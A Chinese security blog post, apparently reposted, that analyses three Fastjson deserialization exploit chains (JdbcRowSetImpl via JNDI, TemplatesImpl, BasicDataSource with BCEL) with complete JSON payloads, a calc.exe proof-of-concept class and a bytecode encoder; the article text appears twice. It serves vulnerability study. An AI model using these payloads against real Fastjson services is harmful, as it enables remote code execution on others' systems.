• Fastjson 的 3 种漏洞利用链,一起来看看!


    作者:4ra1n
    来源:https://www.anquanke.com/post/id/248892

    Fastjson已被大家分析过很多次,本文主要是对三种利用链做分析和对比

    JdbcRowSetImpl

    String payload = "{\n" +
        "    \"a\":{\n" +
        "        \"@type\":\"java.lang.Class\",\n" +
        "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
        "    },\n" +
        "    \"b\":{\n" +
        "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
        "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
        "        \"autoCommit\":true\n" +
        "    }\n" +
        "}";
    JSON.parse(payload);
    

    payload中的a对象用来当作缓存绕过,需要关注的是第二个对象

    注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

        public void setAutoCommit(boolean var1) throws SQLException {
            if (this.conn != null) {
                this.conn.setAutoCommit(var1);
            } else {
                // conn为空才会调用到这里
                this.conn = this.connect();
                this.conn.setAutoCommit(var1);
            }
        }
    

    跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

    protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                // conn为空且dataSourceName不为空才会到这里
                InitialContext var1 = new InitialContext();
                // 成功触发JNDI注入
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
    

    根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

        public Object lookup(Name var1) throws NamingException {
            if (var1.isEmpty()) {
                ......
                return this.decodeObject(var2, var1.getPrefix(1));
            }
        }
    

    跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

    Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
    return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    

    总结:

    • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
    • 必须能出网,加载远端的恶意字节码,造成了局限性

    TemplateImpl

    String payload = "{\"a\":{\n" +
        "\"@type\":\"java.lang.Class\",\n" +
        "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
        "},\n" +
        "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
        "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
    JSON.parse(payload, Feature.SupportNonPublicField);
    

    注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

    public class TEMPOC extends AbstractTranslet {
        public TEMPOC() throws IOException {
            Runtime.getRuntime().exec("calc.exe");
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
        }
        public static void main(String[] args) throws Exception {
            TEMPOC t = new TEMPOC();
        }
    }
    

    类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本

    fin = open(r"PATH-TO-TEMPOC.class", "rb")
    byte = fin.read()
    fout = base64.b64encode(byte).decode("utf-8")
    print(fout)
    

    该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

    com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

    final int mask = Feature.SupportNonPublicField.mask;
    if (fieldDeserializer == null
        && (lexer.isEnabled(mask)
            || (this.beanInfo.parserFeatures & mask) != 0)) {
        ......
    

    反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

       public synchronized Properties getOutputProperties() {
            try {
                return newTransformer().getOutputProperties();
            }
            catch (TransformerConfigurationException e) {
                return null;
            }
        }
    

    调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    

    跟入getTransletInstance

    // name不能为空所以在payload中设置a.b
    if (_name == null) return null;
    // 关键
    if (_class == null) defineTransletClasses();
    
    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    

    再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

    private static String ABSTRACT_TRANSLET
            = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    

    为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

    ......
    if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
        byte[] bytes = lexer.bytesValue();
        ......
    

    跟入lexer.bytesValue()方法,看到decodeBase64

    public byte[] bytesValue() {
        ......
        // base64解码
        return IOUtils.decodeBase64(buf, np + 1, sp);
    }
    

    总结:

    • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
    • 需要开启Feature.SupportNonPublicField,实战中不适用

    BasicDataSource

    String payload = "{\n" +
        "    \"name\":\n" +
        "    {\n" +
        "        \"@type\" : \"java.lang.Class\",\n" +
        "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
        "    },\n" +
        "    \"x\" : {\n" +
        "        \"name\": {\n" +
        "            \"@type\" : \"java.lang.Class\",\n" +
        "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "        },\n" +
        "        \"y\": {\n" +
        "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
        "            \"c\": {\n" +
        "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
        "                \"driverClassLoader\": {\n" +
        "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "                },\n" +
        "                \"driverClassName\":\"!!!Payload!!!\",\n" +
        "\n" +
        "                     \"$ref\": \"$.x.y.c.connection\"\n" +
        "\n" +
        "            }\n" +
        "        }\n" +
        "    }\n" +
        "}";
    JSON.parse(payload);
    

    这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.37</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.0.36</version>
        </dependency>
    </dependencies>
    

    生成driverClassName的工具如下

    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.Repository;
    
    public class Test {
        public static void main(String[] args) throws Exception {
            JavaClass cls = Repository.lookupClass(Exp.class);
            String code = Utility.encode(cls.getBytes(), true);
            code = "$$BCEL$$" + code;
            new ClassLoader().loadClass(code).newInstance();
            System.out.println(code);
        }
    }
    

    BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。

    生成的BCEL格式大概如下:

    $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
    

    将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

    回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:

    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"!!!Payload!!!",
                "$ref": "$.x.y.c.connection"
            }
        }
    }
    

    这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

    参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

    if ("$ref" == key && context != null) {
        // 传入的ref是$.x.y.c.connection,匹配到else
        if ("@".equals(ref)) {
            ...
        } else if ("..".equals(ref)) {
            ...
        } else if ("$".equals(ref)) {
            ...
        } else {
            Object refObj = parser.resolveReference(ref);
            if (refObj != null) {
                object = refObj;
            } else {
                // 将$.x.y.c.connection加入到Task
                parser.addResolveTask(new ResolveTask(context, ref));
                parser.resolveStatus = DefaultJSONParser.NeedToResolve;
            }
        }
    }
    // 处理后设置到context
    parser.setContext(context, object, fieldName);
    

    漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

    parser.handleResovleTask(value);
    

    跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

    if (ref.startsWith("$")) {
        refValue = getObject(ref);
        if (refValue == null) {
            try {
                // 看到eval感觉有东西
                refValue = JSONPath.eval(value, ref);
            } catch (JSONPathException ex) {
                // skip
            }
        }
    }
    

    跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

    public Object eval(Object rootObject) {
        if (rootObject == null) {
            return null;
        }
    
        init();
    
        Object currentObject = rootObject;
        for (int i = 0; i < segments.length; ++i) {
            Segement segement = segments[i];
            // 继续跟入
            currentObject = segement.eval(this, rootObject, currentObject);
        }
        return currentObject;
    }
    

    到达com.alibaba.fastjson.JSONPath:1350

    public Object eval(JSONPath path, Object rootObject, Object currentObject) {
        if (deep) {
            List<Object> results = new ArrayList<Object>();
            path.deepScan(currentObject, propertyName, results);
            return results;
        } else {
            // return path.getPropertyValue(currentObject, propertyName, true);
            return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
        }
    }
    

    继续跟入path.getPropertyValue

    protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
        if (currentObject == null) {
            return null;
        }
        if (currentObject instanceof Map) {
            Map map = (Map) currentObject;
            Object val = map.get(propertyName);
    
            if (val == null && SIZE == propertyNameHash) {
                val = map.size();
            }
    
            return val;
        }
    
        final Class<?> currentClass = currentObject.getClass();
    
        JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
        if (beanSerializer != null) {
            try {
                // 最后一次循环到达这里
                return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
            } catch (Exception e) {
                throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
            }
        }
    

    跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

    public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
        FieldSerializer fieldDeser = getFieldSerializer(keyHash);
        ......
        // 跟入
        return fieldDeser.getPropertyValue(object);
    }
    

    跟入com.alibaba.fastjson.serializer.FieldSerializer:145

    public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
        Object propertyValue =  fieldInfo.get(object);
    

    到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        return method != null
                ? method.invoke(javaObject)
                : field.get(javaObject);
    }
    

    看到这里的javaObject正是BasicDataSouce

    回到BasicDataSource本身

    public Connection getConnection() throws SQLException {
        if (Utils.IS_SECURITY_ENABLED) {
            // 跟入
            final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
            try {
                return AccessController.doPrivileged(action);
            } catch (final PrivilegedActionException e) {
                final Throwable cause = e.getCause();
                if (cause instanceof SQLException) {
                    throw (SQLException) cause;
                }
                throw new SQLException(e);
            }
        }
        return createDataSource().getConnection();
    }
        private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
    
            @Override
            public Connection run() throws SQLException {
                // 跟入createDataSource()
                return createDataSource().getConnection();
            }
        }
    // 继续跟入createConnectionFactory()
    final ConnectionFactory driverConnectionFactory = createConnectionFactory();
    

    最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

    if (driverClassLoader == null) {
        driverFromCCL = Class.forName(driverClassName);
    } else {
        driverFromCCL = Class.forName(
            driverClassName, true, driverClassLoader);
    }
    ...
    driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
    ...
    driverToUse = (Driver) driverFromCCL.newInstance();
    

    总结:

    • 不需要出网,不需要开启特殊的参数,适用范围较广
    • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制

    Fastjson已被大家分析过很多次,本文主要是对三种利用链做分析和对比

    JdbcRowSetImpl

    String payload = "{\n" +
        "    \"a\":{\n" +
        "        \"@type\":\"java.lang.Class\",\n" +
        "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
        "    },\n" +
        "    \"b\":{\n" +
        "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
        "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
        "        \"autoCommit\":true\n" +
        "    }\n" +
        "}";
    JSON.parse(payload);
    

    payload中的a对象用来当作缓存绕过,需要关注的是第二个对象

    注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

        public void setAutoCommit(boolean var1) throws SQLException {
            if (this.conn != null) {
                this.conn.setAutoCommit(var1);
            } else {
                // conn为空才会调用到这里
                this.conn = this.connect();
                this.conn.setAutoCommit(var1);
            }
        }
    

    跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

    protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                // conn为空且dataSourceName不为空才会到这里
                InitialContext var1 = new InitialContext();
                // 成功触发JNDI注入
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
    

    根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

        public Object lookup(Name var1) throws NamingException {
            if (var1.isEmpty()) {
                ......
                return this.decodeObject(var2, var1.getPrefix(1));
            }
        }
    

    跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

    Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
    return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    

    总结:

    • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
    • 必须能出网,加载远端的恶意字节码,造成了局限性

    TemplateImpl

    String payload = "{\"a\":{\n" +
        "\"@type\":\"java.lang.Class\",\n" +
        "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
        "},\n" +
        "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
        "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
    JSON.parse(payload, Feature.SupportNonPublicField);
    

    注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

    public class TEMPOC extends AbstractTranslet {
        public TEMPOC() throws IOException {
            Runtime.getRuntime().exec("calc.exe");
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
        }
        public static void main(String[] args) throws Exception {
            TEMPOC t = new TEMPOC();
        }
    }
    

    类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本

    fin = open(r"PATH-TO-TEMPOC.class", "rb")
    byte = fin.read()
    fout = base64.b64encode(byte).decode("utf-8")
    print(fout)
    

    该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

    com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

    final int mask = Feature.SupportNonPublicField.mask;
    if (fieldDeserializer == null
        && (lexer.isEnabled(mask)
            || (this.beanInfo.parserFeatures & mask) != 0)) {
        ......
    

    反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

       public synchronized Properties getOutputProperties() {
            try {
                return newTransformer().getOutputProperties();
            }
            catch (TransformerConfigurationException e) {
                return null;
            }
        }
    

    调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    

    跟入getTransletInstance

    // name不能为空所以在payload中设置a.b
    if (_name == null) return null;
    // 关键
    if (_class == null) defineTransletClasses();
    
    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    

    再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

    private static String ABSTRACT_TRANSLET
            = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    

    为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

    ......
    if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
        byte[] bytes = lexer.bytesValue();
        ......
    

    跟入lexer.bytesValue()方法,看到decodeBase64

    public byte[] bytesValue() {
        ......
        // base64解码
        return IOUtils.decodeBase64(buf, np + 1, sp);
    }
    

    总结:

    • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
    • 需要开启Feature.SupportNonPublicField,实战中不适用

    BasicDataSource

    String payload = "{\n" +
        "    \"name\":\n" +
        "    {\n" +
        "        \"@type\" : \"java.lang.Class\",\n" +
        "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
        "    },\n" +
        "    \"x\" : {\n" +
        "        \"name\": {\n" +
        "            \"@type\" : \"java.lang.Class\",\n" +
        "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "        },\n" +
        "        \"y\": {\n" +
        "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
        "            \"c\": {\n" +
        "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
        "                \"driverClassLoader\": {\n" +
        "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "                },\n" +
        "                \"driverClassName\":\"!!!Payload!!!\",\n" +
        "\n" +
        "                     \"$ref\": \"$.x.y.c.connection\"\n" +
        "\n" +
        "            }\n" +
        "        }\n" +
        "    }\n" +
        "}";
    JSON.parse(payload);
    

    这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.37</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.0.36</version>
        </dependency>
    </dependencies>
    

    生成driverClassName的工具如下

    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.Repository;
    
    public class Test {
        public static void main(String[] args) throws Exception {
            JavaClass cls = Repository.lookupClass(Exp.class);
            String code = Utility.encode(cls.getBytes(), true);
            code = "$$BCEL$$" + code;
            new ClassLoader().loadClass(code).newInstance();
            System.out.println(code);
        }
    }
    

    BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。

    生成的BCEL格式大概如下:

    $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
    

    将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

    回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:

    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"!!!Payload!!!",
                "$ref": "$.x.y.c.connection"
            }
        }
    }
    

    这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

    参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

    if ("$ref" == key && context != null) {
        // 传入的ref是$.x.y.c.connection,匹配到else
        if ("@".equals(ref)) {
            ...
        } else if ("..".equals(ref)) {
            ...
        } else if ("$".equals(ref)) {
            ...
        } else {
            Object refObj = parser.resolveReference(ref);
            if (refObj != null) {
                object = refObj;
            } else {
                // 将$.x.y.c.connection加入到Task
                parser.addResolveTask(new ResolveTask(context, ref));
                parser.resolveStatus = DefaultJSONParser.NeedToResolve;
            }
        }
    }
    // 处理后设置到context
    parser.setContext(context, object, fieldName);
    

    漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

    parser.handleResovleTask(value);
    

    跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

    if (ref.startsWith("$")) {
        refValue = getObject(ref);
        if (refValue == null) {
            try {
                // 看到eval感觉有东西
                refValue = JSONPath.eval(value, ref);
            } catch (JSONPathException ex) {
                // skip
            }
        }
    }
    

    跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

    public Object eval(Object rootObject) {
        if (rootObject == null) {
            return null;
        }
    
        init();
    
        Object currentObject = rootObject;
        for (int i = 0; i < segments.length; ++i) {
            Segement segement = segments[i];
            // 继续跟入
            currentObject = segement.eval(this, rootObject, currentObject);
        }
        return currentObject;
    }
    

    到达com.alibaba.fastjson.JSONPath:1350

    public Object eval(JSONPath path, Object rootObject, Object currentObject) {
        if (deep) {
            List<Object> results = new ArrayList<Object>();
            path.deepScan(currentObject, propertyName, results);
            return results;
        } else {
            // return path.getPropertyValue(currentObject, propertyName, true);
            return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
        }
    }
    

    继续跟入path.getPropertyValue

    protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
        if (currentObject == null) {
            return null;
        }
        if (currentObject instanceof Map) {
            Map map = (Map) currentObject;
            Object val = map.get(propertyName);
    
            if (val == null && SIZE == propertyNameHash) {
                val = map.size();
            }
    
            return val;
        }
    
        final Class<?> currentClass = currentObject.getClass();
    
        JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
        if (beanSerializer != null) {
            try {
                // 最后一次循环到达这里
                return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
            } catch (Exception e) {
                throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
            }
        }
    

    跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

    public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
        FieldSerializer fieldDeser = getFieldSerializer(keyHash);
        ......
        // 跟入
        return fieldDeser.getPropertyValue(object);
    }
    

    跟入com.alibaba.fastjson.serializer.FieldSerializer:145

    public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
        Object propertyValue =  fieldInfo.get(object);
    

    到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

    public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        return method != null
                ? method.invoke(javaObject)
                : field.get(javaObject);
    }
    

    看到这里的javaObject正是BasicDataSouce

    回到BasicDataSource本身

    public Connection getConnection() throws SQLException {
        if (Utils.IS_SECURITY_ENABLED) {
            // 跟入
            final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
            try {
                return AccessController.doPrivileged(action);
            } catch (final PrivilegedActionException e) {
                final Throwable cause = e.getCause();
                if (cause instanceof SQLException) {
                    throw (SQLException) cause;
                }
                throw new SQLException(e);
            }
        }
        return createDataSource().getConnection();
    }
        private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
    
            @Override
            public Connection run() throws SQLException {
                // 跟入createDataSource()
                return createDataSource().getConnection();
            }
        }
    // 继续跟入createConnectionFactory()
    final ConnectionFactory driverConnectionFactory = createConnectionFactory();
    

    最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

    if (driverClassLoader == null) {
        driverFromCCL = Class.forName(driverClassName);
    } else {
        driverFromCCL = Class.forName(
            driverClassName, true, driverClassLoader);
    }
    ...
    driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
    ...
    driverToUse = (Driver) driverFromCCL.newInstance();
    

    总结:

    • 不需要出网,不需要开启特殊的参数,适用范围较广
    • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制

    近期热文推荐:

    1.1,000+ 道 Java面试题及答案整理(2021最新版)

    2.别在再满屏的 if/ else 了,试试策略模式,真香!!

    3.卧槽!Java 中的 xx ≠ null 是什么新语法?

    4.Spring Boot 2.5 重磅发布,黑暗模式太炸了!

    5.《Java开发手册(嵩山版)》最新发布,速速下载!

    觉得不错,别忘了随手点赞+转发哦!

  • 相关阅读:
    Swoole实战之手撸HttpServer框架 9 使用方法注解 注册路由
    Swoole实战之手撸HttpServer框架 10 利用Bean工厂雏形运行框架【里程碑】
    Markdown小册
    2.13
    12
    131
    1
    @vue/cli的配置知道多少publicPath,outputDir,assetsDir,indexPath,filenameHashing,configureWebpack,productionSourceMap
    笔记本的常见分辨率
    vue/cli中css.sourceMapopeninlinehostporthttpsopenPagecompress devServer.proxy的简单介绍
  • 原文地址:https://www.cnblogs.com/javastack/p/15511489.html
Copyright © 2020-2023  润新知